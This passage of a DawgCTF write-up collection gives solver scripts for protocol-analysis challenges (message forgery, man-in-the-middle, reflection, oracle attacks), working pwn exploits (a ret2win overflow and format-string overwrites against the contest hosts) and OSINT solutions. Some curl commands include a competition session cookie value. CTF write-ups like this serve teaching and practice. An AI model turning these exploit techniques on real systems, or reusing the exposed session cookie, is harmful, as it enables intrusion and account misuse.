    alice_msg = post("/alice", {"conn_id": conn_id, "content": ""})["content"]
    forged = alice_msg.replace("n:alice", "n:charlie", 1)
    bob_msg = post("/bob", {"conn_id": conn_id, "content": forged})["content"]
    print(bob_msg.split("|", 1)[1].split(":", 1)[1])


if __name__ == "__main__":
    main()
```

Recovered flag:

```
DawgCTF{CH4NG3_0F_PL4N5}
```

### Protocol Analysis 3: Missing

#### Description

The shared protocol manual shows that for challenge 3, Alice has no actions at all, while Bob only waits for a single plaintext message:

`"Hello", B, "this is", A, "give me the flag"`

After receiving that message, Bob responds with:

`"here it is", [FLAG]`

That means there is no authentication, no prior session state from Alice, and no cryptography to bypass. We can create a challenge instance and send Bob the exact message he expects while claiming to be Alice.

#### Solution

Create a model 3 instance, take the returned `conn_id`, and send Bob this content:

`t:Hello|n:bob|t:this is|n:alice|t:give me the flag`

Bob returns the flag directly.

Solution code:

```python
import json
import urllib.request

base = "https://protocols.live"

req = urllib.request.Request(base + "/model/3", data=b"", method="POST")
with urllib.request.urlopen(req, timeout=20) as r:
    conn_id = json.loads(r.read().decode())["conn_id"]

msg = {
    "conn_id": conn_id,
    "content": "t:Hello|n:bob|t:this is|n:alice|t:give me the flag",
}

req = urllib.request.Request(
    base + "/bob",
    data=json.dumps(msg).encode(),
    headers={"Content-Type": "application/json"},
    method="POST",
)
with urllib.request.urlopen(req, timeout=20) as r:
    print(r.read().decode())
```

Returned response:

```json
{"content":"t:here it is|t:DawgCTF{N0_0N3_3LS3_H0M3}"}
```

### Protocol Analysis 4: Real Security!

#### Description

Alice sends Bob a symmetric key and nonce in plaintext and asks him to encrypt the flag with them. Because the attacker can read Alice's first message, the attacker also learns the exact key and nonce Bob will use.

#### Solution

Start a challenge instance, ask Alice for her first outbound message, extract the symmetric key and nonce from that message, forward the exact message to Bob, then decrypt Bob's ciphertext with the provided utility endpoint.

```python
import requests

base = "https://protocols.live"
s = requests.Session()

r = s.post(f"{base}/model/4", json={})
r.raise_for_status()
conn_id = r.json()["conn_id"]

r = s.post(f"{base}/alice", json={"conn_id": conn_id, "content": ""})
r.raise_for_status()
alice_msg = r.json()["content"]

parts = alice_msg.split("|")
key = next(part.split(":", 1)[1] for part in parts if part.startswith("k:"))
nonce = next(part.split(":", 1)[1] for part in parts if part.startswith("d:"))

r = s.post(f"{base}/bob", json={"conn_id": conn_id, "content": alice_msg})
r.raise_for_status()
bob_msg = r.json()["content"]

ciphertext = bob_msg.split("|")[-1].split(":", 1)[1]

r = s.post(
    f"{base}/util/sym_decrypt",
    json={"conn_id": "0", "content": f"k:{key}|d:{nonce}|d:{ciphertext}"},
)
r.raise_for_status()

print(r.json()["content"])
```

This returns:

```
t:DawgCTF{N0T_S0_S3CR3T_K3Y}
```

### Protocol Analysis 5: Is This Real?

#### Description

Alice asks Bob to send the flag encrypted under Alice's asymmetric key. Bob checks that the sender name is `alice`, but he does not verify that the supplied public key actually belongs to Alice.

#### Solution

Generate a fresh asymmetric keypair, obtain Alice's opening message from `/alice`, replace the final key field with our own public key, and forward that forged message to `/bob`. Bob encrypts the flag to our key, and we decrypt it with the matching private key via `/util/asym_decrypt`.

Recovered flag: `DawgCTF{C3RT1F13D_1NS3CUR3}`

```python
#!/usr/bin/env python3

import json
import urllib.request


BASE = "https://protocols.live"
HEADERS = {"Content-Type": "application/json"}


def post(path: str, payload: dict) -> dict:
    req = urllib.request.Request(
        BASE + path,
        data=json.dumps(payload).encode(),
        headers=HEADERS,
    )
    with urllib.request.urlopen(req, timeout=20) as resp:
        return json.loads(resp.read().decode())


def parse_keypair(content: str) -> tuple[str, str]:
    keys = {}
    label = None
    for item in content.split("|"):
        item_type, value = item.split(":", 1)
        if item_type == "t":
            label = value
        elif item_type == "k":
            keys[label] = value
    return keys["public"], keys["private"]


def main() -> None:
    conn_id = post("/model/5", {})["conn_id"]
    alice_msg = post("/alice", {"conn_id": conn_id, "content": ""})["content"]

    public_key, private_key = parse_keypair(
        post("/util/gen_asym_key_pair", {"conn_id": 0, "content": ""})["content"]
    )

    forged_msg = "|".join(alice_msg.split("|")[:-1] + [f"k:{public_key}"])
    bob_msg = post("/bob", {"conn_id": conn_id, "content": forged_msg})["content"]

    ciphertext = bob_msg.split("|", 1)[1]
    flag = post(
        "/util/asym_decrypt",
        {"conn_id": 0, "content": f"k:{private_key}|{ciphertext}"},
    )["content"]

    print(flag.removeprefix("t:"))


if __name__ == "__main__":
    main()
```

### Protocol Analysis 6: Sneedham-Chucker

#### Description

This challenge is a Needham-Schroeder-style public-key protocol between Sneed and Chuck. The bug is the classic man-in-the-middle issue: Chuck accepts Sneed's encrypted first message as long as it decrypts correctly under Chuck's key, but the protocol does not bind the responder's identity strongly enough to stop relaying through an attacker-controlled keypair.

#### Solution

Generate an attacker keypair and cert for a harmless name such as `cowboy`.

1. Ask Bob/Chuck for his public key and cert.
2. Send Alice/Sneed the attacker public key and cert.
3. Alice responds with `{nA, pubA, A, certA}` encrypted to the attacker key. Decrypt it to recover `nA` and Sneed's public key.
4. Re-encrypt that exact plaintext to Chuck's public key and forward it to Bob/Chuck.
5. Chuck responds with `{nA, nB}` encrypted to Sneed's public key. Forward it unchanged to Alice/Sneed.
6. Alice replies with `{nB}` encrypted to the attacker key. Decrypt it to recover `nB`.
7. Re-encrypt `nB` to Chuck's public key and send it to Bob/Chuck.
8. Chuck returns the final symmetric ciphertext.

The final symmetric parameters are:

* Key: `sha256((nA + nB).encode()).hexdigest()`
* Nonce: the first 24 hex characters of that key

Decrypting yields the flag:

`DawgCTF{FORM3RLY_S3CUR3}`

Solver:

```python
#!/usr/bin/env python3
import hashlib
import requests


BASE = "https://protocols.live"
UTIL = f"{BASE}/util"


def post(url: str, content: str = "", conn_id: int = 0) -> str:
    resp = requests.post(url, json={"conn_id": conn_id, "content": content}, timeout=10)
    resp.raise_for_status()
    return resp.json()["content"]


def field_value(item: str) -> str:
    return item.split(":", 1)[1]


def solve_once() -> str:
    keypair = post(f"{UTIL}/gen_asym_key_pair").split("|")
    pub_x = field_value(keypair[1])
    priv_x = field_value(keypair[3])
    name_x = "cowboy"
    cert_x = post(f"{UTIL}/get_cert", f"k:{pub_x}|n:{name_x}")

    conn_id = requests.post(f"{BASE}/model/6", json={}, timeout=10).json()["conn_id"]

    bob_hello = post(f"{BASE}/bob", conn_id=conn_id)
    bob_pub = bob_hello.split("|")[0]

    alice_msg_1 = post(f"{BASE}/alice", f"k:{pub_x}|n:{name_x}|{cert_x}", conn_id)
    plain_1 = post(f"{UTIL}/asym_decrypt", f"k:{priv_x}|{alice_msg_1}")
    n_a = field_value(plain_1.split("|")[0])

    bob_msg_1 = post(f"{UTIL}/asym_encrypt", f"{bob_pub}|t:{plain_1}")
    bob_msg_2 = post(f"{BASE}/bob", bob_msg_1, conn_id)

    alice_msg_2 = post(f"{BASE}/alice", bob_msg_2, conn_id)
    plain_2 = post(f"{UTIL}/asym_decrypt", f"k:{priv_x}|{alice_msg_2}")
    n_b = field_value(plain_2)

    bob_msg_3 = post(f"{UTIL}/asym_encrypt", f"{bob_pub}|t:{plain_2}")
    final_ct = field_value(post(f"{BASE}/bob", bob_msg_3, conn_id))

    key = hashlib.sha256(f"{n_a}{n_b}".encode()).hexdigest()
    nonce = key[:24]
    flag = post(f"{UTIL}/sym_decrypt", f"k:{key}|d:{nonce}|d:{final_ct}")
    return field_value(flag)


def main() -> None:
    last_error = None
    for _ in range(5):
        try:
            print(solve_once())
            return
        except requests.RequestException as exc:
            last_error = exc
    raise SystemExit(f"failed after retries: {last_error}")


if __name__ == "__main__":
    main()
```

### Protocol Analysis 7: Mediation

#### Description

Challenge 7 uses this protocol:

* Alice sends `pubA, A, certA, nA`
* Bob replies with `pubB, B, certB, nB, {B, nB, nA}privB`
* Alice later expects `pubX, X, certX, nX, {X, nX, nA}privX`
* Alice responds with `{A, nX, nA}privA`
* Bob accepts `{A, nB, nA}privA` and sends the flag

The flaw is that Bob does not require the second message to come from Bob specifically. He only needs a valid certificate for some identity `X` and a valid signature over `(X, nX, nA)`. That lets an attacker choose `X`, set `nX = nB`, and then use Alice as a signing oracle. Alice will sign `(A, nB, nA)`, which is exactly what Bob wants in the next step.

#### Solution

Attack flow:

1. Start a challenge instance.
2. Ask Alice for her first message and capture `nA`.
3. Relay that message to Bob and capture `nB`.
4. Generate our own keypair and a valid cert for a non-reserved name such as `mallory`.
5. Sign `n:mallory|d:nB|d:nA` with our private key.
6. Send Alice `pubMallory, mallory, certMallory, nB, {mallory, nB, nA}privMallory`.
7. Alice returns `{alice, nB, nA}privAlice`.
8. Forward that signature to Bob.
9. Bob sends the flag.

Full solver:

```python
#!/usr/bin/env python3
import json
import re
import sys
import urllib.error
import urllib.request


BASE = "https://protocols.live"
CHAL = 7
ATTACKER_NAME = "mallory"


def post(path: str, payload: dict) -> dict:
    req = urllib.request.Request(
        BASE + path,
        data=json.dumps(payload).encode(),
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=15) as resp:
        return json.loads(resp.read().decode())


def parse_content(content: str) -> list[tuple[str, str]]:
    if not content:
        return []
    items = []
    for part in content.split("|"):
        key, value = part.split(":", 1)
        items.append((key, value))
    return items


def expect_types(content: str, types: list[str]) -> list[str]:
    items = parse_content(content)
    got = [kind for kind, _ in items]
    if got != types:
        raise ValueError(f"expected {types}, got {got}: {content}")
    return [value for _, value in items]


def extract_flag(text: str) -> str:
    match = re.search(r"DawgCTF\{[^}]+\}", text)
    if not match:
        raise ValueError(f"flag not found in: {text}")
    return match.group(0)


def main() -> int:
    instance = post(f"/model/{CHAL}", {})
    conn_id = instance["conn_id"]

    alice_hello = post("/alice", {"conn_id": conn_id, "content": ""})["content"]
    _pub_a, _alice_name, _cert_a, n_a = expect_types(alice_hello, ["k", "n", "d", "d"])

    bob_reply = post("/bob", {"conn_id": conn_id, "content": alice_hello})["content"]
    _pub_b, _bob_name, _cert_b, n_b, _bob_sig = expect_types(
        bob_reply, ["k", "n", "d", "d", "d"]
    )

    keypair = post("/util/gen_asym_key_pair", {"conn_id": conn_id, "content": ""})["content"]
    _, pub_x, _, priv_x = expect_types(keypair, ["t", "k", "t", "k"])

    cert_x = post(
        "/util/get_cert",
        {"conn_id": conn_id, "content": f"k:{pub_x}|n:{ATTACKER_NAME}"},
    )["content"]
    (cert_x,) = expect_types(cert_x, ["d"])

    sig_x = post(
        "/util/asym_sign",
        {
            "conn_id": conn_id,
            "content": f"k:{priv_x}|t:n:{ATTACKER_NAME}|d:{n_b}|d:{n_a}",
        },
    )["content"]
    (sig_x,) = expect_types(sig_x, ["d"])

    alice_sig = post(
        "/alice",
        {
            "conn_id": conn_id,
            "content": f"k:{pub_x}|n:{ATTACKER_NAME}|d:{cert_x}|d:{n_b}|d:{sig_x}",
        },
    )["content"]
    (alice_sig,) = expect_types(alice_sig, ["d"])

    flag_reply = post("/bob", {"conn_id": conn_id, "content": f"d:{alice_sig}"})["content"]
    (flag_text,) = expect_types(flag_reply, ["t"])

    flag = extract_flag(flag_text)
    print(flag)
    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except (KeyError, ValueError, urllib.error.URLError) as exc:
        print(f"error: {exc}", file=sys.stderr)
        raise SystemExit(1)
```

Recovered flag:

```
DawgCTF{F33L1NG_1NS3CUR3}
```

### Protocol Analysis 8: Reflection

#### Description

The challenge references the shared protocol-analysis PDF. For challenge 8, the protocol is:

Alice:

* `send: pubA, A, certA`
* `recv: pubX, X, certX, nX1`
* `send: nA, {X, nX1, nA}privA`
* `recv: nX2, {A, nA, nX2}privX`

Bob:

* `send: pubB, B, certB`
* `recv: pubA, A, certA, nA`
* `send: nB, {A, nA, nB}privB`
* `recv: nA2, {A, nB, nA2}privA`
* `send: [FLAG]`

The mistake is that Alice will sign attacker-chosen identity material in step 3, and Bob will accept a valid Alice signature in his final step. The working transcript is a reflection variant:

1. Start a challenge instance.
2. Receive Alice’s initial message `pubA|alice|certA`.
3. Receive Bob’s initial message `pubB|bob|certB`.
4. Send Bob `pubA|alice|certA|nonce`.
5. Bob responds with `nB|sigB(alice, nonce, nB)`.
6. Send Alice `pubB|bob|certB|nB`.
7. Alice responds with `nA2|sigA(bob, nB, nA2)`.
8. Forward Alice’s response to Bob.
9. Bob sends the flag.

The key point is that Bob accepts Alice’s response produced over Bob’s own identity bundle and Bob’s nonce.

#### Solution

```python
#!/usr/bin/env python3

import requests


BASE = "https://protocols.live"


def post(session, path, conn_id, content):
    response = session.post(
        f"{BASE}{path}",
        json={"conn_id": conn_id, "content": content},
        headers={"Content-Type": "application/json"},
        timeout=10,
    )
    response.raise_for_status()
    return response.json()["content"]


def parse_items(content):
    items = []
    for part in content.split("|"):
        item_type, value = part.split(":", 1)
        items.append((item_type, value))
    return items


def solve():
    session = requests.Session()
    conn_id = session.post(f"{BASE}/model/8", timeout=10).json()["conn_id"]

    alice_hello = post(session, "/alice", conn_id, "")
    bob_hello = post(session, "/bob", conn_id, "")

    # Bob expects Alice's identity bundle plus a nonce.
    bob_step = post(session, "/bob", conn_id, f"{alice_hello}|d:{'00' * 32}")
    bob_nonce = parse_items(bob_step)[0][1]

    # Alice signs Bob's identity and Bob's nonce under Alice's private key.
    alice_step = post(session, "/alice", conn_id, f"{bob_hello}|d:{bob_nonce}")

    flag = post(session, "/bob", conn_id, alice_step)
    return flag


if __name__ == "__main__":
    print(solve())
```

Running the script returned:

```
t:DawgCTF{4SK_4ND_U_SH4LL_R3C31V3}
```

### Protocol Analysis 9: Oracle

#### Description

Challenge 9 gives Bob a flag encrypted twice to Alice:

`{{FLAG}pubA, B}pubA`

Alice will then repeatedly accept messages of the form:

`pubX, X, certX, {{m}pubA, X}pubA, A`

and answer with:

`pubA, A, certA, {{m}pubX, A}pubX`

This makes Alice a re-encryption oracle for anything encrypted to `pubA`.

#### Solution

The attack is a two-step unwrap:

1. Start a fresh instance and ask Alice for her initial message.
2. Forward that message to Bob and capture Bob's ciphertext `{{FLAG}pubA, B}pubA`.
3. Generate an attacker keypair and valid certificate for a non-reserved name such as `mallory`.
4. Wrap Bob's full outer ciphertext as the inner payload of a new message to Alice: `{{ {{FLAG}pubA, B}pubA , mallory }pubA` Alice decrypts Bob's outer layer and re-encrypts the plaintext `d:{FLAG_cipher_for_A}|n:bob` to us.
5. Decrypt Alice's reply with the attacker private key to recover `{FLAG}pubA`.
6. Send that recovered ciphertext back through Alice again, wrapped for `mallory`: `{{ {FLAG}pubA , mallory }pubA`
7. Alice decrypts the flag and re-encrypts it to us.
8. Decrypt the result with the attacker private key and read the flag.

Recovered flag:

`DawgCTF{ST4R3_1NTO_TH3_VO1D}`

Solver used:

```python
#!/usr/bin/env python3
import requests


BASE = "https://protocols.live"
UTIL = f"{BASE}/util"
ATTACKER_NAME = "mallory"


def split_items(content: str) -> list[str]:
    return content.split("|") if content else []


def value(item: str, expected_type: str) -> str:
    prefix = f"{expected_type}:"
    if not item.startswith(prefix):
        raise ValueError(f"expected {expected_type}, got {item!r}")
    return item[len(prefix) :]


class Client:
    def __init__(self) -> None:
        self.s = requests.Session()

    def post(self, path: str, content: str, conn_id: int = 0) -> str:
        r = self.s.post(
            f"{BASE}{path}",
            json={"conn_id": conn_id, "content": content},
            timeout=15,
        )
        r.raise_for_status()
        data = r.json()
        if "content" not in data:
            raise ValueError(f"missing content in response: {data}")
        return data["content"]

    def new_instance(self, chal_no: int) -> int:
        r = self.s.post(f"{BASE}/model/{chal_no}", timeout=15)
        r.raise_for_status()
        return r.json()["conn_id"]

    def asym_encrypt(self, pubkey: str, plaintext: str) -> str:
        return value(self.post("/util/asym_encrypt", f"k:{pubkey}|t:{plaintext}"), "d")

    def asym_decrypt(self, privkey: str, ciphertext: str) -> str:
        return self.post("/util/asym_decrypt", f"k:{privkey}|d:{ciphertext}")

    def gen_keypair(self) -> tuple[str, str]:
        items = split_items(self.post("/util/gen_asym_key_pair", ""))
        return value(items[1], "k"), value(items[3], "k")

    def get_cert(self, pubkey: str, name: str) -> str:
        return value(self.post("/util/get_cert", f"k:{pubkey}|n:{name}"), "d")


def parse_message(content: str) -> list[str]:
    items = split_items(content)
    if not items:
        raise ValueError("empty content")
    return items


def main() -> None:
    c = Client()
    conn_id = c.new_instance(9)

    alice_hello = c.post("/alice", "", conn_id)
    alice_items = parse_message(alice_hello)
    pub_a = value(alice_items[0], "k")

    bob_reply = c.post("/bob", alice_hello, conn_id)
    bob_items = parse_message(bob_reply)
    bob_outer = value(bob_items[3], "d")

    pub_x, priv_x = c.gen_keypair()
    cert_x = c.get_cert(pub_x, ATTACKER_NAME)

    wrapper1_plain = f"d:{bob_outer}|n:{ATTACKER_NAME}"
    wrapper1 = c.asym_encrypt(pub_a, wrapper1_plain)
    msg1 = f"k:{pub_x}|n:{ATTACKER_NAME}|d:{cert_x}|d:{wrapper1}|n:alice"
    alice_reply1 = c.post("/alice", msg1, conn_id)
    alice_reply1_items = parse_message(alice_reply1)
    rewrapped1 = value(alice_reply1_items[3], "d")

    outer1_plain = c.asym_decrypt(priv_x, rewrapped1)
    outer1_items = parse_message(outer1_plain)
    inner_to_x = value(outer1_items[0], "d")

    bob_plain = c.asym_decrypt(priv_x, inner_to_x)
    bob_plain_items = parse_message(bob_plain)
    inner_flag_for_alice = value(bob_plain_items[0], "d")

    wrapper2_plain = f"d:{inner_flag_for_alice}|n:{ATTACKER_NAME}"
    wrapper2 = c.asym_encrypt(pub_a, wrapper2_plain)
    msg2 = f"k:{pub_x}|n:{ATTACKER_NAME}|d:{cert_x}|d:{wrapper2}|n:alice"
    alice_reply2 = c.post("/alice", msg2, conn_id)
    alice_reply2_items = parse_message(alice_reply2)
    rewrapped2 = value(alice_reply2_items[3], "d")

    outer2_plain = c.asym_decrypt(priv_x, rewrapped2)
    outer2_items = parse_message(outer2_plain)
    flag_to_x = value(outer2_items[0], "d")

    flag = c.asym_decrypt(priv_x, flag_to_x)
    print(flag)


if __name__ == "__main__":
    main()
```

***

## pwn

### Stacking Flags

#### Description

The local challenge only provided a remote host and a link to the source. The source is a 64-bit non-PIE binary compiled without stack canaries:

```c
void win() {
 FILE *fp;
 char flag[128];
 fp = fopen("flag.txt", "r");
 ...
 fgets(flag, sizeof(flag), fp);
 puts(flag);
 ...
}

void vulnerable_function() {
 char buffer[64];
 gets(buffer);
}
```

`vulnerable_function()` reads unbounded input into a 64-byte stack buffer with `gets()`, so this is a standard ret2win.

#### Solution

Because the code was compiled with `-no-pie`, the address of `win()` is fixed. Rebuilding the provided source locally produced:

```
win = 0x4011a6
```

The stack layout is:

* `64` bytes for `buffer`
* `8` bytes for saved `rbp`
* then the saved return address

So the overwrite offset is `72` bytes. Sending `72` junk bytes followed by the little-endian address of `win()` redirects execution into the flag-reading function before `main()` can continue.

Exploit:

```python
#!/usr/bin/env python3
import socket

HOST = "nc.umbccd.net"
PORT = 8921
WIN = 0x4011A6
OFFSET = 72

payload = b"A" * OFFSET + WIN.to_bytes(8, "little") + b"\n"

with socket.create_connection((HOST, PORT), timeout=10) as sock:
    sock.sendall(payload)
    data = bytearray()
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data.extend(chunk)

print(data.decode("latin1", "replace"))
```

Running the exploit against the remote service returned:

```
DawgCTF{$taching_br1cks}
```

### Just Print It

#### Description

The service reads one line with `fgets()` and passes it directly to `printf()`:

```c
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
puts("\nGoodbye!");
```

There is also a hidden `win()` function that opens `flag.txt` and prints it.

#### Solution

This is a straightforward format-string exploit.

Key facts:

* The binary is compiled `-no-pie`, so code addresses are fixed.
* `puts@GOT` is writable because the binary has partial RELRO.
* `win()` already exists, so code execution is unnecessary.
* After `printf(buffer)`, the program immediately calls `puts()`.

Exploit strategy:

1. Use the format string to overwrite `puts@GOT` with `win()`.
2. Let execution continue normally.
3. The next call to `puts()` jumps to `win()` and prints the flag.

On amd64, the input buffer appears at format-string argument offset `6`, so `fmtstr_payload(6, ...)` works directly.

Relevant addresses from the locally reproduced binary:

* `win = 0x401196`
* `puts@got = 0x404000`

Exploit code:

```python
from pwn import *


HOST = "nc.umbccd.net"
PORT = 8925


context.binary = ELF("./just_print_it", checksec=False)
context.log_level = "info"


def build_payload():
    elf = context.binary
    return fmtstr_payload(6, {elf.got["puts"]: elf.symbols["win"]}, write_size="short")


def start():
    if args.LOCAL:
        return process(elf.path)
    return remote(HOST, PORT)


elf = context.binary
io = start()
io.sendline(build_payload())
print(io.recvall(timeout=3).decode("latin-1", "replace"))
```

Running it against the remote service returned:

```
Flag: DawgCTF{s3v3r_PWNed!}
```

### Stacking Melodies

#### Description

A music parser/scorer binary with source provided. Connect to `nc.umbccd.net:8929` and exploit vulnerabilities to read the flag.

#### Solution

The binary has two key vulnerabilities:

1. **Integer signedness bug in `validate_size()`**: Returns `(int)aligned` where `aligned` is `size_t`. Large `uint32_t` values for `d_len` produce negative `int` results, bypassing the `> 2048` check.
2. **Format string vulnerability**: `printf(title)` at line 82 uses user-controlled input as the format string.

The heap overflow approach (using `d_len = 0xFFFFFFC0` to make `malloc(d_len + 0x40)` wrap to `malloc(0)`, then overflowing into the adjacent `session_context`) worked locally but failed remotely due to different heap layouts.

The format string approach was more reliable:

* **Leak `ctx` pointer**: Position 9 on printf's argument list contains the heap address of `ctx` (the `session_context` struct). `ctx->server_logging` is the first field - a function pointer initially set to `log_event`.
* **Leak remote `log_event` address**: Using `%9$s` to dereference `ctx` and read the function pointer bytes, revealing remote `log_event = 0x4011e6` (vs local `0x4011d6`).
* **Find remote `win` address**: The remote binary differs (e.g., `calculate_rating()` returns `rand()` instead of `0`), shifting addresses. By scanning `%Nc%9$hn` with values around the estimated `win` offset, the correct lower 2 bytes were found: `0x124e`, giving remote `win = 0x40124e`.
* **Overwrite function pointer**: `%4686c%9$hn` prints 0x124e characters then writes that count (as uint16\_t) to `*ctx`, overwriting `ctx->server_logging`'s lower 2 bytes from `log_event` to `win`. When `ctx->server_logging("Rating", rating)` executes, it calls `win()` which prints the flag.

```python
#!/usr/bin/env python3
from pwn import *
import struct

MAGIC = 0x564D576E

# Format string: print 0x124e = 4686 chars, then %hn write to position 9 (ctx pointer)
# This overwrites ctx->server_logging lower 2 bytes to point to win()
title = b'%4686c%9$hn'
d_len = 8

header = struct.pack('<III', MAGIC, len(title), d_len)
payload = header + title + b'B' * d_len

r = remote('nc.umbccd.net', 8929)
r.send(payload)
import time
time.sleep(2)
data = r.recvall(timeout=5)
r.close()
print(data.decode(errors='replace').strip().split('\n')[-1])
# DawgCTF{A_H34ping_helping}
```

**Flag:** `DawgCTF{A_H34ping_helping}`

***

## recon

### Gateway to the Turnpike

#### Description

We are given a road-trip photo and asked for the ZIP code of the place where it was taken.

#### Solution

The local directory only contained `description.md`, so the first step was to recover the inline challenge image from the live MetaCTF challenge JSON using the session cookie already stored in the competition config.

```bash
curl -sS 'https://compete.metactf.com/573/api/problems_json.php' \
  -H 'User-Agent: Mozilla/5.0' \
  -H 'Cookie: METACTF_COMPETE=3d51a7e8ad6afe6a680d32c8742b2961' |
  rg -o 'https://metaproblems.com/[^"]+/gateway\.jpeg'

mkdir -p attachments
curl -fsSL \
  'https://metaproblems.com/9158c536955b3b93c3b1ec47841cc0ff/gateway.jpeg' \
  -o attachments/gateway.jpeg
```

Inspecting the image shows several useful clues:

* a green street sign reading `5 Breezewood Rd`
* `I-70` East/West signage
* the dense motel / gas-station strip that is famous in Breezewood
* nearby brands like Sheetz, Days Inn, McDonald's, and BP matching that interchange area

That identifies the location as **Breezewood, Pennsylvania**.

The ZIP code for Breezewood is:

```
15533
```

So the flag is:

```
DawgCTF{15533}
```

### The Temple of Doom

#### Description

We were given a photo of a distinctive stepped building and told the flag was the building's nickname.

#### Solution

The challenge directory did not contain the image locally, but the provided image URL was:

```
https://metaproblems.com/9158c536955b3b93c3b1ec47841cc0ff/temple.jpg
```

I downloaded the image and inspected it:

```bash
curl -L -o temple.jpg 'https://metaproblems.com/9158c536955b3b93c3b1ec47841cc0ff/temple.jpg'
file temple.jpg
exiftool temple.jpg
```

The photo showed a large gold stepped-pyramid style office building with a broad parking lot in front and hills behind it. That matched the **Chet Holifield Federal Building** in Laguna Niguel, California.

This building is commonly nicknamed **The Ziggurat Building**. The shorter form `The Ziggurat` was rejected, so the full nickname was required.

Final flag:

```
DawgCTF{The_Ziggurat_Building}
```

### Дмитрий-шесть

#### Description

OSINT challenge. Given an image (`dmetri6.jpeg`) showing underground metro tunnels with a vasi.net watermark. The description states a friend from Ukraine sent this picture claiming it's "the key to a secret treasure room underground." The flag is the official name of the location, 6 capital letters.

#### Solution

The challenge title "Дмитрий-шесть" translates to "Dmitri-six," which is the Russian phonetic alphabet expansion of **D-6** (Д-6) -- the KGB codename for Moscow's secret underground metro system. The filename `dmetri6.jpeg` reinforces this (dmetri + 6 = D-6).

The images are well-known photographs of this clandestine metro system, sourced from the Russian entertainment site vasi.net. They show:

* Two old Soviet-era trains in an underground tunnel
* Dark flooded tunnels with rail tracks
* Curved platform/tunnel sections

The system's commonly known name is **Metro-2** (Метро-2), an informal designation for the officially-unacknowledged deep underground metro built during Stalin's era. It connects the Kremlin with key government facilities including the FSB headquarters and government airport at Vnukovo-2.

The "official name" in 6 characters, all caps: **METRO2**.

Flag: `DawgCTF{METRO2}`

### Better Call AT\&T!

#### Description

We need the real phone number for the parking garage seen in *Better Call Saul*.\
Flag format: `DawgCTF{##########}`.

#### Solution

There were no local attachments, so this was pure OSINT.

First, identify the exact garage used in the show:

```bash
curl -L -s https://www.breakingbad-locations.com/locations/parking-garage-bcs/ | rg "Tijeras"
```

This gives:

```
In real life: Parking garage at Tijeras Ave NW, Albuquerque
```

Then pull the coordinates from a second location source:

```bash
curl -L -s https://virtualglobetrotting.com/map/parking-garage-better-call-saul/view/google/ \
  | rg "latitude|longitude"
```

Relevant result:

```
latitude  = 35.08635704
longitude = -106.6468963
```

Resolve those coordinates to the actual garage:

```bash
curl -L -s https://mapcarta.com/W178083545 | sed -n '73,96p'
```

Relevant result:

```
Convention Parking
Latitude 35.08631
Longitude -106.64694
Open location code 857M39P3+G6
```

So the filming location is the Albuquerque Convention Center parking garage.

Now get the garage phone number from public parking listings:

```bash
curl -L -s 'https://www.waze.com/live-map/directions/us/nm/albuquerque/abq-convention-center-parking-garage?to=place.ChIJWROmbeUIIocR4aCG4MB6MNI' \
  | rg '\(\d{3}\) \d{3}-\d{4}'
```

Relevant result:

```
(505) 768-4575
```

That yields the flag:

```
DawgCTF{5057684575}
```

### Computer Repair I

#### Description

We are given a photo of the underside of a Dell laptop and asked to determine the RAM size and speed it was sold with, along with the hard drive size and model. The flag format is:

`DawgCTF{RAMSIZE_RAMSPEED_DRIVESIZE_DRIVEMODEL}`

#### Solution

The image shows a `Dell Latitude 5500` and the underside label reveals the service tag `FZGXPV2`.

Using the service tag, the original-configuration data can be recovered from Dell support. The useful rows were:

* Memory: `R4GT0 : MOD,DIMM,16GB,1X16G,2667,N-ECC | CRXJ6 | Dual In-Line Memory Module,16GB,2666,2RX8,8G,DDR4,Ss | 1`
* Storage: `2HMFM | INFO,C DRIVE,PCIESSD | 1` `35PK2 | Solid State Drive,256G,P32,30S3,TOSHIBA,BG3 | 1`

From that:

* RAM size: `16GB`
* RAM speed: `2666MHZ` The accepted value uses the Dell part description speed (`2666`) rather than the shorthand module label (`2667`).
* Drive size: `256GB`
* Drive model: `35PK2` The challenge expected the Dell part number as the drive “model”, not the OEM family name such as `BG3`.

Flag:

`DawgCTF{16GB_2666MHZ_256GB_35PK2}`

Commands used:

```bash
sed -n '1,220p' description.md
file attachments/r1.png
sed -n '1,220p' FZGXPV2.csv
nl -ba FZGXPV2.csv | sed -n '8,16p'
nl -ba FZGXPV2.csv | sed -n '126,131p'
```

### Locksmith

#### Description

Identify the lock series from the challenge image and determine the lock body height. The required format was `DawgCTF{SERIES_HEIGHT}`.

#### Solution

The local `description.md` did not include the image, but the live MetaCTF challenge page had it embedded inline. I pulled the raw challenge JSON, extracted the image URL, and downloaded the lock photo:

```bash
curl -sS 'https://compete.metactf.com/573/api/problems_json.php' \
  -H 'User-Agent: Mozilla/5.0' \
  -H 'Cookie: METACTF_COMPETE=3d51a7e8ad6afe6a680d32c8742b2961' |
  sed -n '1p'

mkdir -p attachments
curl -fsSL \
  'https://metaproblems.com/9158c536955b3b93c3b1ec47841cc0ff/lock.jpg' \
  -o attachments/lock.jpg
```

The lock face is distinctive:

* teardrop-shaped escutcheon
* five round pushbuttons in a circle
* Roman numerals around the buttons
* a `SIMPLEX` turnpiece, visible upside down in the challenge photo

That identifies it as a **Simplex 900 Series** mechanical pushbutton lock.

I then checked the official/retail spec sheet for the 900 Series:

```bash
curl -fsSL 'https://mrlock.com/content/900-specs.pdf' -o simplex_900_specs.pdf
pdftoppm -f 2 -l 2 -png simplex_900_specs.pdf simplex_p2
```

Page 2 shows the **Simplex 900 Series** auxiliary lock exterior height as **3 3/4" (95 mm)**.

So the flag is:

```
DawgCTF{SIMPLEX900_95MM}
```

### Computer Repair II

#### Description

We are given a photo of the front of a Dell laptop and asked for the laptop's screen size. The expected flag format is `DawgCTF{18.9IN}`.

#### Solution

The local challenge directory only contained `description.md`, so the first step was to recover the missing attachment from the public challenge repository referenced by the related `Computer Repair III` challenge.

From the public repository, the `Computer Repair II` asset is `r2.jpg`. The photo shows a Dell laptop from the front, but not enough text is visible on that image alone to read the exact model.

To identify the model cleanly, I checked the corresponding asset for `Computer Repair I`, which appears to be the same laptop photographed from the bottom. That image clearly shows the model text `Latitude 5500`.

Once the model was known, the screen size could be verified from Dell's official Latitude 5500 specifications. Dell lists the display as `15.6 in.`.

Therefore the flag is:

`DawgCTF{15.6IN}`

Commands used:

```bash
